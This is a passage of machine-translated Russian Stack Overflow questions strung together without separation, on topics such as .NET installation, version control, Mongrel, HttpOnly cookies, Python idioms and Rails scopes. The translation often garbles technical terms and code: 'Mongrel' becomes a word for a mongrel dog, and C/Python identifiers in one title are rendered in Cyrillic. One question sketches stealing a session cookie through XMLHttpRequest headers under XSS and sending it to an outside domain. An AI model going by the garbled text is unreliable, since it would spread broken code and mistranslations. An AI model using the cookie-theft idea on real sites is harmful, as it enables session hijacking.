Мой инстинкт говорит, что проверенное исключение будет вызвано в тех случаях, когда вызывающий может быть в состоянии восстановить каким-то продуктивным способом, где как непроверенное исключение будет больше для неустранимых случаев, но мне было бы интересно узнать мысли другого.
Платформа Microsoft .Net установки 3.5 пакетом обновления 1 не удается
На моей машине Vista я не могу установить .Net framework 3.5 SP1. Установка завершается через несколько минут после завершения загрузки необходимых файлов, указав в журнале, что:
[08/26/08,09:46:11] Microsoft .NET Framework 2.0SP1 (CBS): [2] Error: Installation failed for component Microsoft .NET Framework 2.0SP1 (CBS). MSI returned error code 1
[08/26/08,09:46:13] WapUI: [2] DepCheck indicates Microsoft .NET Framework 2.0SP1 (CBS) is not installed.
Первое, что я сделал, это попытался установить 2.0 SP1, но на этот раз программа установки утверждает, что "product is not supported on Vista system". Хм.
Реальная большая проблема заключается в том, что эта установка не выполняется также при вызове Visual Studio 2008 SP1.
Теперь я искал это в сети, но не нашел реального решения... Любую идею / подсказку? У кого-нибудь были проблемы во время установки SP1?
Спасибо
Динамический нисходящий список элементов управления в WindowsForms и C#?
В нашем проекте SharpWired мы пытаемся создать компонент загрузки, аналогичный загрузке windows в Firefox или Safari. То есть, один единственный сверху вниз список загрузок, которые являются пользовательскими элементами управления, содержащими индикаторы выполнения, кнопки и то, что нет.
Требования состоят в том, что должен быть один единственный список, с одним элементом в каждой строке. Каждый элемент должен быть пользовательским элементом управления. Весь список должен быть динамически изменяемым, чтобы при увеличении / уменьшении длины списка при необходимости добавлялась полоса прокрутки,а при уменьшении / расширении настраиваемые элементы управления изменялись по ширине списка.
Мы пробовали использовать FlowLayoutPanel , но не получили изменения размера, чтобы работать так, как мы хотим. Предпочтительно мы должны только установить привязку пользовательских элементов управления влево & вправо. Мы также подумывали об использовании TableLayoutPanel , но обнаружили, что динамическое добавление строк пока является слишком большой накладной нагрузкой.
Это должно быть довольно распространенный случай использования, и мне кажется немного странным, что FlowLayoutPanel не имеет интуитивного способа сделать это. Кто-нибудь делал что-то подобное или имел советы или хитрости, чтобы заставить нас двигаться вперед?
Ваше здоровье!
/Adam
Как "unversion" файл в любом из svn и / или git
Это происходит со мной постоянно. Я случайно версирую файл, я не хочу быть версионным (т. е. разработчик/машина конкретных конфигурационных файлов).
Если я зафиксирую этот файл, я испорчу пути на всех других машинах разработчиков-они будут недовольны.
Если я все - таки удалю файл из системы управления версиями, он будет удален с других машин разработчиков-они будут недовольны.
Если я решу никогда не фиксировать файл, у меня всегда будет проверка "dirty" - я несчастлив.
Является ли чистым способом "unversion" файл из контроля версий, что приведет к тому, что никто не будет несчастен?
edit: пытаюсь немного прояснить: я уже отправил файл в репозиторий и хочу только удалить его из управления версиями - я специально не хочу, чтобы он был физически удален из всех, кто делает проверку. Я изначально хотел, чтобы это было проигнорировано.
Ответ: если бы я мог принять второй ответ, это было бы так . Он отвечает на мой вопрос относительно git-принятый ответ-о svn.
Каковы некоторые примеры, в которых деревья выражений полезны?
Я полностью понимаю концепцию деревьев выражений, но мне трудно найти ситуации, в которых они полезны. Существует ли конкретный экземпляр, в котором могут применяться деревья выражений? Или это полезно только в качестве транспортного механизма для кода? Я чувствую, что мне чего-то не хватает здесь. Спасибо!
Как мне изящно закрыть веб-сервер Mongrel
Мое приложение RubyOnRails настроено с обычным пакетом дворняг за конфигурацией Apache. Мы заметили, что использование памяти нашего веб-сервера Mongrel может быть довольно большим при определенных операциях, и мы действительно хотели бы иметь возможность динамически выполнять изящный перезапуск выбранных процессов Mongrel в любое время.
Однако по причинам, которые я не буду здесь вдаваться, иногда может быть очень важно, чтобы мы не прерывали дворняжку, пока она обслуживает запрос, поэтому я предполагаю, что простое убийство процесса не является ответом.
В идеале, я хочу послать дворняге сигнал, который говорит: "закончите все, что вы делаете, а затем прекратите, прежде чем принимать какие-либо дополнительные соединения".
Существует ли стандартная техника или лучшая практика для этого?
C/C++ визуализация исходного кода?
В основном мне нужны инструменты, которые генерируют визуализацию исходного кода, например:
- график вызова функции
- граф зависимостей ...
Есть ли способ иметь функциональность index.html с содержимым, размещенным на S3?
Есть ли способ сделать S3 по умолчанию для страницы index.html? E.g.: Список объектов my bucket:
/index.html
/favicon.ico
/images/logo.gif
Звонок на www.example.com/ index.html
Вычислить расстояние между двумя точками широты и долготы? (Формула гаверсинуса )
Как рассчитать расстояние между двумя точками, указанными широтой и долготой?
Для уточнения я хотел бы получить расстояние в километрах; точки используют систему WGS84, и я хотел бы понять относительную точность доступных подходов.
Как HttpOnly cookies работают с AJAX запросами?
JavaScript необходим доступ к файлам cookie, если AJAX используется на сайте с ограничениями доступа на основе файлов cookie. Будут ли файлы cookie HttpOnly работать на сайте AJAX?
Изменить: Microsoft создала способ предотвращения атак XSS, запретив JavaScript доступ к файлам cookie, если указано HttpOnly. FireFox позже принял это. Итак, мой вопрос: если вы используете AJAX на сайте, как StackOverflow, являются ли Http-только файлы cookie опцией?
Правка 2: Вопрос 2. Если целью HttpOnly является предотвращение доступа JavaScript к cookies, и вы все еще можете получить cookies через JavaScript через объект XmlHttpRequest, то в чем смысл HttpOnly ?
Правка 3: Вот цитата из Википедии:
Когда браузер получает такой файл cookie, он должен использовать его как обычно в следующих обменах HTTP, но не делать его видимым для клиентской стороны scripts.[32] флаг
HttpOnlyне является частью какого-либо стандарта и не реализован во всех браузерах. Обратите внимание, что в настоящее время нет никакой возможности предотвратить чтение или запись сессионного куки через XMLHTTPRequest. [33].
Я понимаю, что document.cookie блокируется, когда вы используете HttpOnly. Но похоже, что вы все еще можете прочитать значения cookie в объекте XMLHttpRequest, допуская XSS. Как HttpOnly делает вас более безопасным, чем? Делая файлы cookie по существу только для чтения?
В вашем примере я не могу написать на ваш document.cookie, но я все еще могу украсть ваш файл cookie и отправить его в свой домен, используя объект XMLHttpRequest.
<script type="text/javascript">
var req = null;
try { req = new XMLHttpRequest(); } catch(e) {}
if (!req) try { req = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) {}
if (!req) try { req = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) {}
req.open('GET', 'http://stackoverflow.com/', false);
req.send(null);
alert(req.getAllResponseHeaders());
</script>
Правка 4: Извините, я имел в виду, что вы можете отправить XMLHttpRequest в домен StackOverflow, а затем сохранить результат getAllResponseHeaders() в строку, regex из файла cookie, а затем отправить его во внешний домен. Похоже, что Википедия и ha.ckers согласны со мной в этом, но я хотел бы быть перевоспитанным...
Окончательное редактирование: Ах, очевидно, оба сайта ошибочны, на самом деле это ошибка в FireFox . IE6 & 7 на самом деле являются единственными браузерами, которые в настоящее время полностью поддерживают HttpOnly.
Чтобы повторить все, что я узнал:
- HttpOnly ограничивает весь доступ к document.cookie в IE7 & и FireFox (не уверен в других браузерах)
- HttpOnly удаляет информацию о файлах cookie из заголовков ответов в XMLHttpObject.getAllResponseHeaders() в IE7.
- XMLHttpObjects могут быть отправлены только в домен, из которого они исходят, поэтому нет никакой междоменной публикации файлов cookie.
правка: эта информация, скорее всего, больше не актуальна.
Ruby / Rails доисторические даты на windows
Работая с датами в ruby и rails на windows, у меня возникают проблемы с датами до эпохи (до 1970 года), выбрасывающими исключения из диапазона. Я попытался использовать оба объекта Time и DateTime , но по-прежнему имею те же проблемы.
Несколько классов в заголовочном файле по сравнению с одним заголовочным файлом для каждого класса
По какой-либо причине наша компания имеет руководство по кодированию, которое гласит::
Each class shall have it's own header and implementation file.
Поэтому, если бы мы написали класс с именем MyString , нам понадобились бы ассоциированные MyStringh.h и MyString.cxx .
Кто - нибудь еще это делает? Кто-нибудь видел какие-либо последствия для производительности компиляции в результате этого? Действительно ли 5000 классов в 10000 файлов компилируются так же быстро, как 5000 классов в 2500 файлов? Если нет, то заметна ли разница?
[Мы кодируем C++ и используем GCC 3.4.4 как наш повседневный компилятор]
Имеет ли PHP эквивалент этому типу подстановки строк Python?
Python имеет этот замечательный способ обработки подстановок строк с помощью словарей:
>>> 'The %(site)s site %(adj)s because it %(adj)s' % {'site':'Stackoverflow', 'adj':'rocks'}
'The Stackoverflow site rocks because it rocks'
Мне это нравится, потому что вы можете указать значение один раз в словаре, а затем заменить его по всему месту в строке.
Я пытался добиться чего-то подобного в PHP, используя различные функции замены строк, но все, что я придумал, кажется неудобным.
У кого-нибудь есть хороший чистый способ сделать такую замену строки в PHP?
Редактировать
Вот код со страницы sprintf, который мне больше всего понравился.
<?php
function sprintf3($str, $vars, $char = '%')
{
$tmp = array();
foreach($vars as $k => $v)
{
$tmp[$char . $k . $char] = $v;
}
return str_replace(array_keys($tmp), array_values($tmp), $str);
}
echo sprintf3( 'The %site% site %adj% because it %adj%', array('site'=>'Stackoverflow', 'adj'=>'rocks'));
?>
Вы следите за процессом персонального программного обеспечения? Следит ли ваша организация/команда за процессом командного программного обеспечения?
Для получения дополнительной информации- процесс персонального программного обеспечения в Википедии и процесс командного программного обеспечения в Википедии .
У меня есть два вопроса:
- Какие преимущества вы видели от эти процессы?
- Какие инструменты и/или методы, которые вы используете, чтобы следовать этим процессы?
Java Singleton vs static - есть ли реальное преимущество в производительности?
Я объединяю ветвь CVS, и одним из самых больших изменений является замена, где бы это ни происходило, шаблона Singleton абстрактными классами, которые имеют статический блок инициализации и все статические методы.
Это то, что стоит сохранить, поскольку это потребует слияния большого количества конфликтов, какую ситуацию я бы рассматривал для того, чтобы этот рефакторинг был стоящим?
Мы запускаем это приложение под Weblogic 8.1 (так что JDK 1.4.2)
извините, Томас, позвольте мне уточнить..
версия HEAD имеет традиционный шаблон singleton (частный конструктор, getInstance() и т. д)
ветвь версии не имеет конструктора, является "публичным абстрактным классом" и изменила все методы на объекте, чтобы быть 'static'. Код, который раньше существовал в частном конструкторе, перемещается в статический блок.
Затем все виды использования класса изменяются, что приводит к многочисленным конфликтам в слиянии.
Есть несколько случаев, когда это изменение было сделано.
Парсер уравнений (выражений)с приоритетом?
Я разработал анализатор уравнений с использованием простого алгоритма стека, который будет обрабатывать двоичные файлы (+, -, |, &, *, /, etc) операторы, унарные (!) операторы и скобки.
Использование этого метода, однако, оставляет мне все, что имеет одинаковый приоритет - он вычисляется слева направо независимо от оператора, хотя приоритет может быть применен с помощью скобок.
Так что прямо сейчас "1+11*5" возвращает 60, а не 56, как можно было бы ожидать.
Хотя это подходит для текущего проекта, Я хочу иметь рутину общего назначения, которую можно использовать для последующих проектов.
Отредактировано для ясности:
Что такое хороший алгоритм для разбора уравнений с приоритетом?
Я заинтересован в чем-то простом для реализации и понимаю, что я могу кодировать сам, чтобы избежать проблем лицензирования с доступным кодом.
Grammar:
Я не понимаю вопроса grammar - я написал это от руки. Это достаточно просто, чтобы я не видел необходимости в YACC или Bison. Мне просто нужно вычислить строки с такими уравнениями, как "2+3 * (42/13)".
Язык:
Я делаю это в C, но меня интересует алгоритм, а не конкретное языковое решение. C-это достаточно низкий уровень, чтобы его можно было легко перевести на другой язык, если возникнет такая необходимость.
пример кода
Я опубликовал тестовый код для простого синтаксического анализатора выражений , о котором я говорил выше. Требования к проекту изменились, и поэтому мне никогда не нужно было оптимизировать код для производительности или пространства, поскольку он не был включен в проект. Он написан в оригинальной многословной форме и должен быть легко понятен. Если я сделаю что-нибудь еще с ним в плане приоритета операторов, я, вероятно, выберу макрос hack , потому что он соответствует rest программы в простоте. Если я когда-нибудь использую это в реальном проекте, я буду использовать более компактный/быстрый парсер.
Смежный вопрос
-Adam
Инструмент анализа исключений для C++
Я искал инструмент для извлечения информации об исключениях из программы C++. Самая разыскиваемая функция, которую я ищу: я хочу знать все исключения, которые могут быть брошены из функции (которая будет включать в себя всю функцию, которая вызывается из этой функции рекурсивно).
Я всегда думал, что документирование ошибок и исключений, в частности, очень сложно (и требует много усилий, чтобы идти в ногу со временем). Но если есть какой-то способ автоматизировать это, это было бы очень полезно.
Инструмент для windows и Visual Studio был бы предпочтительным, но не необходимым,я всегда мог бы обойти это.
Бесплатный Сетевой Монитор
У меня возникли проблемы с интеграцией двух продуктов, один из которых мой, и они, похоже, не разговаривают. Поэтому я хочу убедиться, что они правильно общаются. Я посмотрел вокруг для сетевого монитора и нашел TCP Spy. Это работает, но показывает только 1 сторону разговора за раз (он должен работать локально) я бы в идеале хотел видеть обе стороны одновременно - но вы не можете запустить две копии TCP Spy.
Я ударил Sourceforge,но ничего не выскакивает - я разработчик Windows, у меня нет perl.
Я нашел пару других, которые являются калеками и совершенно бесполезны, поэтому мне было интересно, что используют ребята SO для просмотра разговора TCP?
BTW-продукт ' not-written-here ' не является браузером.
Действительно ли "safe_eval" безопасен?
Я ищу функцию "safe" eval, чтобы реализовать вычисления, подобные электронным таблицам (используя numpy/scipy).
Функциональность для этого ( модуль rexec) была удалена из Python с 2.3 из-за явно нефиксируемых проблем безопасности. Есть несколько сторонних хаков, которые претендуют на это - самое продуманное решение, которое я нашел, это это Python рецепт Кукбока, "safe_eval".
Достаточно ли я безопасен, если я использую это (или что-то подобное), чтобы защитить от вредоносного кода, или я застрял с написанием собственного парсера? Кто-нибудь знает лучшие альтернативы?
EDIT: я только что открыл RestrictedPython, который является частью Zope. Любые мнения по этому поводу приветствуются.
Разница в производительности между IIf() и If
В Visual Basic существует ли разница в производительности при использовании функции IIf вместо оператора If ?
Прокси, который требует аутентификации с помощью эмулятора Android
Удалось ли кому-нибудь заставить эмулятор Android работать за прокси, который требует аутентификации?
Я попытался установить аргумент-http-proxy в значение
http://DOMAIN/USERNAME:PASSWORD@IP:PORT
но у меня ничего не получается.
Я пытался следовать документам, но безрезультатно. Я также пробовал установку -verbose-proxy , но этого больше не существует.
Есть какие-нибудь указания?
Как я могу получить путь, где пользователь установил мое приложение Java?
Я хочу открыть диалоговое окно файла в Java, которое по умолчанию соответствует каталогу установки приложения.
Каков наилучший способ получить эту информацию программно?
Сравнение двух схем XML
Существуют ли какие-либо инструменты для эффективного сравнения двух схем XML? Я видел некоторые общие инструменты XML diff, но мне было интересно, есть ли что-нибудь, что знает больше о схемах.
Оптимизация для низкой пропускной способности
Мне поручено разработать веб-приложение, которое отображает очень большие географические данные. И одно из требований заключается в том, что он должен быть оптимизирован, чтобы PC все еще на наборах, распространенных в пригородах моей страны, мог использовать его.
Теперь мне разрешено использовать Flash и / или Silverlight, если это поможет с ограниченным временем разработки и пользовательским опытом.
Тяжелая часть географических данных разделена на плитки и загружена, как плитки карты в Google Maps, но это означает, что мне нужно много запросов HTTP.
Должен ли я пойти только с javascript + HTML? Я бы в конечном итоге с более быстрым приложением относительно Flash/Silverlight?, так как я могу сделать какой-то сложный алгоритм на этих 2 технологиях (например, DeepZoom). Развертывание настольного приложения, хотя, не может быть и речи, так как у нас нет столько средств на техническое обслуживание.
Это просто должно быть быстро... действительно быстрый..
p. s. быстрее в смысле "download faster"
Когда вы используете инъекцию зависимости?
Я использую StructureMap недавно и наслаждался опытом полностью. Тем не менее, я вижу, как можно легко увлечься взаимодействием всего и в конечном итоге получить классы, которые принимают в лодку интерфейсов в своих конструкторах. Несмотря на то, что это действительно не огромная проблема, когда вы используете фреймворк для инъекций зависимостей, он все еще чувствует, что есть определенные свойства, которые действительно не нужно взаимодействовать только ради их взаимодействия.
Где вы рисуете линию на том, что нужно сделать, чтобы просто добавить свойство к классу?
Если IIf() и If()
Недавно я задал вопрос о IIf vs. If и узнал, что в VB есть еще одна функция, называемая If , которая в основном делает то же самое, что и IIf , но является коротким замыканием.
Работает ли эта функция If лучше, чем функция IIf? Превосходит ли оператор If функции If и IIf ?
Какова цель файлов конструктора в проектах веб-приложений Visual Studio 2008?
Существует процесс преобразования, который необходим при переносе веб-узла Visual Studio 2005 в проекты веб-приложений Visual Studio 2008.
Похоже, что VS2008 создает a .дизайнер. файл для каждого aspx при щелчке правой кнопкой мыши на файле или самом проекте в Solution Explorer и выборе пункта ' конвертировать в веб-приложение.'
Какова цель этих файлов конструктора? И они не будут существовать на сборке выпуска веб-приложения, они просто промежуточные файлы, используемые во время разработки, надеюсь?
Советы для успешной подачи AppStore?
Через день или два я буду готов отправить свое приложение iPhone в AppStore, и мне интересно, есть ли у людей, прошедших через этот процесс, какие-либо советы / предложения для плавного процесса подачи.
Вот о чем я уже говорил;
- Никаких утечек памяти
- Тестируемая производительность на реальном устройстве
- Не разбивается :)
- Использование правильных сертификатов / профилей
В чем я немного не уверен, так это в том, как настроить "Bundle Display Name" /"идентификатор Bundle" и "Bundle Name" в info.plist. Я понимаю, что первый-это текст, который показан на самом iPhone, но как насчет последнего? Должно ли это совпадать с идентификатором Bundle?
Есть ли еще что-нибудь, что я должен добавить к info.plist? Я заметил, что при создании для распространения Adhoc мое приложение не имеет никакой информации об авторе/названии в iTunes.
Наиболее подходящие для Python способ эквивалентны: а ((х = next()) != КОНЕЦ)
Какая лучшая идиома Python для этой конструкции C?
while ((x = next()) != END) {
....
}
У меня нет возможности перекодировать next().
обновление: и ответ от, кажется, будет:
for x in iter(next, END):
....
Как я могу merge мои файлы, когда структура папок изменилась с помощью Borland StarTeam?
Я нахожусь в процессе рефакторинга некоторого кода, который включает перемещение папок вокруг, и я хотел бы регулярно merge, чтобы держать вещи в курсе. Что является лучшим способом, чтобы merge после того, как я переместил папки в моей рабочей копии?
Почему это плохая практика, чтобы сделать несколько подключений к базе данных в одном запросе?
Обсуждение Синглетонов в PHP году заставляет меня все больше и больше задумываться над этим вопросом. Большинство людей учат, что вы не должны делать кучу соединений DB в одном запросе, и мне просто любопытно, каковы ваши рассуждения. Моя первая мысль-это затраты на ваш сценарий, чтобы сделать так много запросов к DB, но затем я противопоставляю себя вопросу: не будет ли несколько соединений делать параллельные запросы более эффективными?
Как насчет некоторых ответов (с доказательствами, люди) от некоторых людей в курсе?
Как я могу поддерживать проверку подлинности сертификата клиента SSL?
Я хочу сделать то же, что делает myopenid - после того, как вы вошли в систему, вы можете нажать кнопку, которая генерирует вам сертификат SSL; браузер затем загружает этот сертификат и сохраняет его. Когда вы позже вернетесь к yourid.myopenid.com, Ваш браузер может использовать свой сохраненный сертификат для аутентификации, поэтому вам никогда не понадобится пароль.
Итак, мои вопросы - что требуется для того, чтобы это сработало? Как создать сертификаты? Как я могу подтвердить их, когда они будут представлены мне обратно?
Мой стек составляет Rails на Apache, используя Passenger, но я не слишком разборчив.
C в Visual Studio
Я пытаюсь выучить C. Как разработчик C#, мой IDE-это Visual Studio. Я слышал, что это хорошая среда для развития C/C++. Однако, кажется, независимо от того, что я пытаюсь сделать, интуиция меня подводит. Может ли кто-то дать хорошие ресурсы для того, чтобы либо:
- изучите входы и выходы из C в Visual Studio
- рекомендую лучший компилятор C IDE +
Правка: Смотрите также: https://stackoverflow.com/questions/951516/a-good-c-ide
Почему трассировки стека исключений всегда указывают на последнюю строку метода?
У меня проблема с установкой Visual Studio. Когда я получаю исключение, у меня всегда есть неправильные номера строк в стеке trace. В моей кодовой базе всегда есть точка до последней строки каждого метода. В то же время это OK, когда я отслеживаю программы с отладчиком. Что случилось с PDBs?
Нет, я не повторяю исключение для каждого метода.
В каждой строке стека trace у меня есть последняя строка соответствующего метода, в то время как исключение было брошено оператором в середине.
Лучший способ извлечь данные из базы данных FileMaker Pro в скрипте?
Моя работа была бы проще или, по крайней мере, менее утомительной, если бы я мог придумать автоматизированный способ (предпочтительно в сценарии Python) извлечения полезной информации из базы данных FileMaker Pro. Я работаю на машине Linux, и база данных FileMaker находится на том же самом LAN, работающем на машине OS X. Я могу войти в веб-интерфейс с моей машины.
Я очень хорошо справляюсь с SQL, и если бы кто-нибудь мог указать мне на какой-нибудь плагин FileMaker, который мог бы дать мне доступ к данным SQL в пределах FileMaker, я был бы рад, как панч. Все, что я нашел, идет только в другую сторону: имея FileMaker получить данные из SQL источников. Не полезный.
Это не мой первый выбор,но я бы использовал Perl вместо Python, если бы под рукой было решение Perl-Y.
Примечание: сервисы XML/XSLT (как предлагают некоторые люди) доступны только на FM-сервере, а не на FM Pro. В противном случае, это, вероятно, было бы лучшим решением. ODBC оказывается чрезвычайно трудно даже заставить работать. Существует абсолютно нулевая обратная связь от FM, когда вы настраиваете его, так что вам придется копаться в /var/log/system.log и анализировать неясные сообщения об ошибках.
Вывод : я получил его работу, запустив сценарий python локально на машине, которая запрашивает базу данных FM через соединения ODBC. Скрипт на самом деле является TCPServer, который принимает сокетные соединения от других систем на LAN, выполняет запросы и возвращает данные через сокетное соединение. Мне пришлось сделать это, чтобы обойти тот факт, что FM Pro принимает только ODBC соединений локально (FM сервер требуется для внешних подключений).
Есть ли хорошие рекомендации по использованию виртуального устройства Subversion 1.5?
Я ищу решение quick-and-dirty для этого, мне нужно очень быстро настроить сервер Subversion, например, к концу завтрашнего дня. Моя первоначальная мысль состояла в том, чтобы просто загрузить виртуальное устройство, которое мы могли бы загрузить на нашу главную машину. Однако проблема, с которой я сталкиваюсь, заключается в том, что все устройства, которые я нашел до сих пор, застряли в версии svn 1.4 или ниже.
Кто-нибудь знает о приборе, который имеет svn 1.5 работающий? Мне не нужны никакие другие биты, такие как отслеживание проблем, WebSVN или что-то в этом роде.
Спасибо, Уолли
EDIT: Чтобы ответить на некоторые вопросы, я бы предпочел, чтобы хост OS был каким-то ароматом Linux, чтобы мне не пришлось покупать дополнительную лицензию Windows.
Какие инструменты рефакторинга вы используете для Python?
У меня есть куча классов, которые я хочу переименовать. Некоторые из них имеют небольшие имена, и это имя повторно используется в других именах классов, где я не хочу, чтобы это имя было изменено. Большая часть этого живет в коде Python, но у нас также есть некоторый код XML, который ссылается на имена классов.
Простой поиск и замена только помогает мне до сих пор. В моем случае, я хочу переименовать AdminAction в AdminActionPlug и AdminActionLogger в AdminActionLoggerPlug, так что первый из них search-and-replace также попадет во второй, ошибочно.
Есть ли у кого-нибудь опыт работы с инструментами рефакторинга Python ? Бонусные очки, если они могут исправить имена классов в документах XML тоже.
PAD (Portable Application Description) файлы для условно-бесплатных программ
Мне сказали, что я должен включать файлы PAD с бесплатными приложениями, которые я распространяю, чтобы хостинг-сайты могли правильно перечислять информацию и проверять наличие обновлений и т. д.
Можете ли вы дать мне некоторую информацию об использовании PAD файлов? Вот общие вопросы, которые приходят на ум:
- Стоит ли это усилий?
- Вы используете PADGen или онлайн-инструмент, такой как www.padbuilder.com ?
- Вы подписываете свои документы в цифровом виде?
Windows Mobile-какие скриптовые платформы доступны?
У нас есть ряд пользователей с Windows Mobile 6, и нам нужно внести незначительные изменения. напр.. обновление параметров реестра. Один из вариантов-нажать и выполнить исполняемый файл с помощью нашего программного обеспечения для управления устройствами.
Я бы хотел, чтобы это было немного более дружелюбно для администраторов, которые знакомы со сценариями в VBScript/JScript и т. д. Какие существуют варианты написания сценариев на мобильных устройствах Windows?
XML => HTML с Hpricot и Rails
Я никогда не работал с веб-сервисами и rails, и, очевидно, это то, что мне нужно узнать. Я решил использовать hpricot, потому что он выглядит великолепно. В любом случае, _why был достаточно хорош, чтобы предоставить следующий пример на веб -сайте hpricot :
#!ruby
require 'hpricot'
require 'open-uri'
# load the RedHanded home page
doc = Hpricot(open("http://redhanded.hobix.com/index.html"))
# change the CSS class on links
(doc/"span.entryPermalink").set("class", "newLinks")
# remove the sidebar
(doc/"#sidebar").remove
# print the altered HTML
puts doc
Которая выглядит простой, элегантный, и удобной для тебя такого. Отлично работает в Ruby, но мой вопрос: Как я могу разбить это в rails?
Я экспериментировал с добавлением всего этого к одному контроллеру, но не мог придумать лучший способ назвать его в представлении.
Итак, если бы вы разбирали файл XML из web API и печатали его в nice clean HTML с помощью Hpricot, как бы вы разбили активность по моделям, представлениям и контроллерам, и что бы вы поместили туда?
Что же такое Microsoft Expression Studio и как она интегрируется с Visual Studio?
Мой университет является частью MSDNAA, так что я скачал его некоторое время назад, но я только что приступил к его установке. Я предполагаю, что часть из них заменяет FrontPage для веб-редактирования, и там, кажется, есть видеоредактор и редактор векторной графики, но я не думаю, что даже поцарапал поверхность того, что это такое и что он может делать. Может ли кто-нибудь просветить меня, тем более что я не нашел сайт типа "Expression Studio for Dummies".
Java и вручную завершить выполнение
Если я вызову finalize() для объекта из моего программного кода, будет ли JVM все еще запускать метод снова, когда сборщик мусора обрабатывает этот объект?
Это был бы примерный пример:
MyObject m = new MyObject();
m.finalize();
m = null;
System.gc()
Может ли явный вызов finalize() заставить сборщик мусора JVM не запускать метод finalize() на объекте m ?
Самый крутой C# LINQ/лямбда-трюк, который вы когда-либо вытягивали?
Видел пост о скрытых функциях в C#, но не многие люди написали linq / lambdas пример так... Я удивляюсь...
Каково самое крутое (как и самое элегантное) использование C# LINQ и/или лямбды / анонимных делегатов, которые у вас когда-либо были saw/written?
Бонус, если он тоже пошел в производство!
Компилятор .NET -- DEBUG против RELEASE
В течение многих лет я использую константу компилятора DEBUG в VB.NET для записи сообщений в консоль. Я также использовал System.Diagnostics.Debug.Write подобным образом. Я всегда понимал, что когда RELEASE использовался в качестве опции сборки, все эти операторы были опущены компилятором, освобождая ваш производственный код от накладных расходов отладочных операторов. Недавно, работая с Silverlight 2 Beta 2, я заметил, что Visual Studio на самом деле подключается к сборке RELEASE, которую я запускал с общедоступного веб-сайта, и отображает DEBUG инструкции, которые, как я предполагал, даже не были скомпилированы! Итак, моя первая склонность заключается в предположении, что с моим окружением что-то не так, но я также хочу спросить любого, кто обладает глубокими знаниями о System.Diagnostics.Debug и DEBUG build option в целом, что я могу здесь неправильно понять.
Лучший компрессор JavaScript
Какой самый лучший компрессор JavaScript доступен? Я ищу инструмент, который:
- прост в использовании
- имеет высокую степень сжатия
- Производить надежные конечные результаты (не портит код)
Лучшая архитектура для обработки изменений файловой системы?
Вот такой сценарий:
Я пишу приложение, которое будет следить за любыми изменениями в определенном каталоге. Этот каталог будет заполнен тысячами файлов в минуту каждый с "almost" уникальным GUID. Формат файла такой:
GUID.dat где GUID = = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx (внутреннее содержимое не имеет отношения, но это просто текстовые данные)
Мое приложение будет представлять собой форму, которая имеет одно текстовое поле, которое показывает все файлы, которые добавляются и удаляются в режиме реального времени. Каждый раз, когда появляется новый файл, я должен обновить textbox с этим файлом, но сначала я должен убедиться, что этот полу-уникальный GUID действительно уникален, если это так, обновите textbox с этим новым файлом.
Когда файл удаляется из этого каталога, убедитесь, что он существует, а затем удалите его, обновите textbox соответствующим образом.
Проблема в том, что я использую его .NET filewatcher и кажется, что есть внутренний буфер, который взрывается каждый раз, когда входит (buffersize + 1)-й файл. Я также попытался сохранить внутренний список в своем приложении и просто добавить каждый файл, который входит, но позже выполните проверку unique-GUID, но без кубиков.
Расширение Виртуального Диска
Привет всем, я использую Virtual PC и работаю с виртуальным жестким диском (*.vhd), размер которого составляет только 8.2 GB. Я бы хотел удвоить размер до чего-то вроде 16-20GB. Я вижу варианты для уплотнения VHD, но ничего, чтобы расширить его. Он установлен на "dynamically expand", но я устанавливаю какое-то программное обеспечение, и он, похоже, не изменяет свой размер на большее пространство.
Большое спасибо.
Почему вы не вызываете явно finalize() или не запускаете сборщик мусора?
Прочитав этот вопрос, я вспомнил, как меня учили Java и говорили никогда не звонить finalize() и не запускать сборщик мусора, потому что "это большой черный ящик, о котором вам никогда не нужно беспокоиться". Может ли кто-нибудь свести рассуждения об этом к нескольким предложениям? Я уверен, что мог бы прочитать технический отчет Sun по этому вопросу, но я думаю, что хороший, короткий, простой ответ удовлетворил бы мое любопытство.
CPU использование базы данных?
Можно ли получить разбивку использования CPU по базе данных ?
В идеале я ищу интерфейс типа Диспетчера задач для SQL сервера, но вместо того, чтобы смотреть на использование CPU каждого PID (например, taskmgr ) или каждого SPID (например, spwho2k5), я хочу просмотреть общее использование CPU каждой базы данных. Предположим, один экземпляр SQL.
Я понимаю, что инструменты могут быть написаны для сбора этих данных и отчета о них, но мне интересно, есть ли какой-либо инструмент, который позволяет мне увидеть живое представление того, какие базы данных вносят наибольший вклад в нагрузку sqlservr.exe CPU.
Как лучше всего использовать веб-сервисы в python?
У меня есть приложение среднего размера, которое работает как веб-сервис .net, который я не контролирую, и я хочу создать свободный pythonic API над ним, чтобы обеспечить легкий сценарий.
Я хотел узнать, что является лучшим / наиболее практичным решением для использования веб-сервисов в python.
Редактировать: Мне нужно потреблять комплекс soap WS и у меня нет никакого контроля над этим.
Есть ли способ объединить именованные области в новую именованную область?
У меня есть
class Foo < ActiveRecord::Base
named_scope :a, lambda { |a| :conditions => { :a => a } }
named_scope :b, lambda { |b| :conditions => { :b => b } }
end
Я хотел бы
class Foo < ActiveRecord::Base
named_scope :ab, lambda { |a,b| :conditions => { :a => a, :b => b } }
end
но я бы предпочел сделать это в стиле DRY. Я могу получить тот же эффект, используя
Foo.a(something).b(something_else)
но это не особенно красиво.
SharePoint SPContext.List на странице пользовательского приложения
У меня есть пользовательская страница приложения SharePoint, развернутая в папке _layouts. Это пользовательский "new form" для пользовательского типа контента. Во время моих взаимодействий с этой страницей мне нужно будет добавить элемент в свой список. Когда страница загружается впервые, я могу использовать SPContext.Current.List, чтобы увидеть текущий список, с которым я работаю. Но после того, как я заполняю свою форму, и форма отправляет обратно на себя, и IsPostBack-это правда, тогда SPContext.Current.List-это null, поэтому я не могу найти список, в который мне нужно добавить мои вещи.
Это ожидается?
Как я должен сохранить некоторую информацию о моем списке контекста через обратную передачу? Должен ли я просто заполнить некоторый элемент управления asp:hidden идентификатором guid моего списка, а затем просто вытащить его из этого на обратной передаче? Это кажется безопасным, я думаю.
FWIW, это стандартная версия MOSS 2007.
Создание UserControl программно внутри ретранслятора?
У меня есть ретранслятор, который привязан к некоторым данным.
Я привязываюсь к событию ItemDataBound и пытаюсь программно создать UserControl :
В двух словах:
void rptrTaskList_ItemDataBound(object sender, RepeaterItemEventArgs e)
{
CCTask task = (CCTask)e.Item.DataItem;
if (task is ExecTask)
{
ExecTaskControl foo = new ExecTaskControl();
e.Item.Controls.Add(foo);
}
}
